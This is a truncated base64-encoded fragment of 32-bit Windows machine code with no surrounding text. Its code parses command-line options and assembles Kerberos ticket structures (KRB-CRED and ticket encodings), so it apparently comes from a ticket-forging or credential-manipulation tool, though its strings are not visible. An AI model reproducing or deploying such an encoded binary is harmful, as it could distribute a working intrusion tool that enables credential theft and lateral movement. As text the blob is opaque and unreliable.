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U4sei0UMiwBTUP91/OiQsAAAi0X8A8ODxAyJOIX/dhmLTQiDwASLEYkQi1EEiVAEg8EIg8AIT3Xti0UM/zD/FexhARCLRfyLTQyJAYtF+AEGM9tDX4vDW8nDVYvsUVGLRQgPtkABiw6NBIUIAAAAU4lF/IPABFcDyFFqQDPbiUX4/xXoYQEQi/iF/3RDix6LRQyLAFNQV+gGsAAAi00ID7ZRAf91/I0EO4kQUYPABFDo7a8AAItFDIPEGP8w/xXsYQEQi0UMiTiLRfgBBjPbQ1+Lw1vJw1WL7IHsAAEAADPAiUX0iUX8iUX4iYUM////U1ZXi30IiweJhRT///+LRwSJhRj///+LRwiJhRz///+LRwyJhSD///+LRxCJhST///+LRxSJhSj///+LRxiJhSz///+LRxyJhTD///+LRyCJhTT///+LRySJhTj///+LRyiJhTz///+LRyxqCFmJhUD///+NRfxQjYVE////aAQAAgBQjXcwjV34xoUA////AcaFAf///xBmiY0C////x4UE////zMzMzMeFEP///wAAAgDogv3//41F/FCNhUz///9oCAACAFCNdzjoav3//41F/FCNhVT///9oDAACAFCNd0DoUv3//41F/FCNhVz///9oEAACAFCNd0joOv3//41F/FCNhWT///9oFAACAFCNd1DoIv3//41F/FBoGAACAI2FbP///1CNd1joCv3//2aLR2BmiYV0////ZotHYmaJhXb///+LR2SJhXj///+LR2iDxEiNTfxR/3dwiYV8////i0dsi/OJRYDHRYQcAAIA6HL9//+LR3SNd3iJRYiNfYylpaWNRfxQpYt9CI1FnGggAAIAUI23iAAAAOiZ/P//jUX8UI1FpGgkAAIAUI23kAAAAOiB/P//jUX8UP+3mAAAAIvzx0WsKAACAOiZ/f//i4ecAAAAiUWwi4egAAAAi134iUW0i4ekAAAAiUW4i4eoAAAAi00QiUW8i4esAAAAiUXAi4ewAAAAiUXEi4e0AAAAiUXIi4e4AAAAiUXMi4e8AAAAiUXQi4fAAAAAiUXUjYPcAAAAg8QoM/aJhQj///+Ng+wAAACJddiJddyJdeCJdeSJdeiJAVBqQP8V6GEBEItNDIkBO8Z0KGo7WVP/dfyL+AXsAAAAjbUA////UPOl6CutAACDxAzHRfQBAAAAM/Y5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